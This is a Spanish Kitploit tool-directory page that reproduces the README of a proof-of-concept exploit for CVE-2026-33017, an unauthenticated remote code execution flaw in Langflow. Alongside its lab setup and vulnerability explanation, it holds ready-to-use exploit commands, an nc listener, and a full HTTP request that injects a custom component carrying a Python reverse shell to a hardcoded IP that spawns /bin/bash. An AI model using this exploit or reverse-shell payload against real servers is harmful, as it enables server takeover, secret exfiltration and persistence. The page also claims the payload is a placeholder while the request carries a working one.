Skip to content
KitploitKITPLOIT
HerramientasBlog
Log in
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-33017 — Langflow RCE | Kitploit
Herramientas/GitHubGitHub/eqstlab/cve-2026-33017
Escáneres de VulnerabilidadesAnálisis de CódigoExplotaciónSeguridad WebPapers e InvestigaciónAprendizaje y Educación
GitHubeqstlab/cve-2026-33017

CVE-2026-33017

Langflow RCE

Ver Repositorio
6466hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-33017 Langflow RCE

★ CVE-2026-33017 Langflow PoC de Ejecución Remota de Código ★

https://github.com/user-attachments/assets/562fc637-6be1-4ab9-a396-bfad56447af7


Configuración del Entorno

Utilice los siguientes comandos para construir y ejecutar el entorno vulnerable de Langflow:

docker build -t cve-2026-33017-langflow-vuln .
docker run --rm -it -p 7860:7860 --name langflow-vuln cve-2026-33017-langflow-vuln

Cómo Usar el PoC

Después de iniciar la instancia vulnerable de Langflow, ejecute el PoC con la URL de destino, el ID del flujo público y la dirección de callback del atacante.

Opción A — utilice su propio listener:

# Terminal 1: start a listener
nc -lvnp 4444

# Terminal 2: fire the exploit
python exploit.py --url http://localhost:7860/ --flow-id 00000000-0000-0000-0000-000000000001 --lhost <ATTACKER_IP> --lport 4444

Opción B — utilice el listener integrado con --listen:

python exploit.py --url http://localhost:7860/ --flow-id 00000000-0000-0000-0000-000000000001 --lhost <ATTACKER_IP> --lport 4444 --listen
OpciónDescripción
--urlURL del servidor Langflow objetivo
--flow-idUUID del flujo público compartido
--lhostIP de callback del atacante
--lportPuerto de callback del atacante
--listenEjecuta el listener integrado en lugar de un nc externo

ENG

CVE-2026-33017 es una vulnerabilidad de Ejecución Remota de Código (RCE) en el proceso de construcción de flujos públicos de Langflow, una plataforma de código abierto para crear visualmente aplicaciones LLM y flujos de trabajo de IA.
Al enviar datos de flujo manipulados al endpoint build_public_tmp sin autenticación, un atacante puede provocar que se ejecute código Python arbitrario en el servidor.


Descripción General

CVE-2026-33017 afecta al siguiente endpoint de construcción de flujos públicos en Langflow, una plataforma de código abierto para crear visualmente aplicaciones LLM y flujos de trabajo de IA.

POST /api/v1/build_public_tmp/{flow_id}/flow

Un flujo público en Langflow está diseñado para compartirse con otros usuarios mediante un enlace o un mecanismo similar.
Para admitir esta funcionalidad, el endpoint de construcción prepara el flujo para su ejecución sin requerir autenticación, leyendo los nodos, las aristas y la configuración del flujo, y luego construyendo el grafo de ejecución interno necesario para ejecutarlo.

El problema era que las versiones vulnerables de build_public_tmp aceptaban no solo la información del flujo público almacenada en el servidor, sino también el campo data proporcionado en el cuerpo de la solicitud.

Este campo data podía contener la definición completa del flujo, incluyendo:

  • la lista de nodos
  • las conexiones entre nodos
  • los valores de configuración detallados de cada nodo
  • las plantillas y los datos de componentes personalizados necesarios para la ejecución

Como resultado, un atacante podía utilizar una solicitud sin autenticación para inyectar una estructura de flujo totalmente controlada por él, en lugar de depender del flujo público legítimo almacenado en el servidor.

Una parte especialmente peligrosa de este diseño es la funcionalidad de Componente Personalizado.
En Langflow, un componente representa un bloque funcional individual responsable de tareas como el manejo de entradas, la invocación de modelos o la generación de salidas. Un componente personalizado es un bloque extensible que permite a los usuarios definir su comportamiento directamente en código Python.

Por lo tanto, un atacante podía incrustar un componente personalizado que contuviera código Python malicioso dentro del objeto data manipulado, y el servidor lo procesaría como si fuera una parte normal del flujo. Como resultado, el código inyectado podía analizarse y ejecutarse durante el proceso de construcción o ejecución, lo que en última instancia conducía a la ejecución remota de código.


Versiones Afectadas

CategoríaVersión
VulnerableLangflow anterior a 1.9.0
CorregidaLangflow 1.9.0 y posteriores

El GitHub Security Advisory indica el rango afectado como <= 1.8.2, pero la corrección — la eliminación del parámetro data — se implementó en 1.9.0. Por lo tanto, todas las versiones anteriores a 1.9.0 (incluidas 1.8.3 / 1.8.4) están afectadas, razón por la cual el registro CVE indica < 1.9.0.


Impacto

La explotación exitosa de esta vulnerabilidad puede permitir a un atacante tomar el control del servidor Langflow y llevar a cabo acciones posteriores como:

  • obtener un shell en el servidor
  • exfiltrar variables de entorno u otra información sensible
  • instalar código malicioso adicional y establecer persistencia

Prueba de Concepto

El siguiente PoC demuestra CVE-2026-33017 en Langflow 1.8.1.

1) Identificar el ID del Flujo Público

El atacante identifica primero el flow_id de un flujo público objetivo.

Identificar el ID del flujo público

2) Enviar una Solicitud de Construcción con un Componente Personalizado Malicioso

El atacante envía una solicitud build_public_tmp que inyecta un componente personalizado cuyo code de Python se ejecuta en el servidor durante la construcción temporal. En la solicitud siguiente, el valor de code se deja como marcador de posición — inserte el payload usted mismo (consulte la nota debajo de la solicitud).

POST /api/v1/build_public_tmp/00000000-0000-0000-0000-000000000001/flow?event_delivery=direct&log_builds=false HTTP/1.1
Host: localhost:7860
Content-Type: application/json
Cookie: client_id=12345678-1234-1234-1234-123456789012
Connection: close

{
  "data": {
    "nodes": [
      {
        "id": "Exploit",
        "data": {
          "id": "Exploit",
          "type": "ExploitComp",
          "node": {
            "template": {
              "_type": "Component",
              "code": {
                "type": "code",
                "value": "from lfx.custom.custom_component.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\n\nclass ExploitComp(Component):\n    display_name = 'X'\n    outputs = [Output(display_name='O', name='o', method='r')]\n\n    def r(self) -> Data:\n        import socket,subprocess\n        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n        s.connect(('192.168.102.178', 4444))\n        p = subprocess.Popen(['/bin/bash', '-i'], stdin=s.fileno(), stdout=s.fileno(), stderr=s.fileno())\n        p.wait()\n        return Data(data={'ok': 1})"
              }
            },
            "outputs": [
              { "types": ["Data"], "name": "o", "method": "r" }
            ]
          }
        }
      }
    ],
    "edges": []
  }
}

3) Obtener un Shell

Durante el proceso de construcción, el código incrustado en el componente personalizado se ejecuta en el servidor. Cuando se utiliza la variante de reverse shell (automatizada por exploit.py), se establece una conexión de vuelta al listener del atacante, otorgándole un shell interactivo para ejecutar comandos arbitrarios en el servidor.

Obtener un shell


Análisis Técnico

Aunque build_public_tmp estaba diseñado para construir flujos públicos, las versiones vulnerables aún aceptaban un campo data directamente del cuerpo de la solicitud.

Descargar herramienta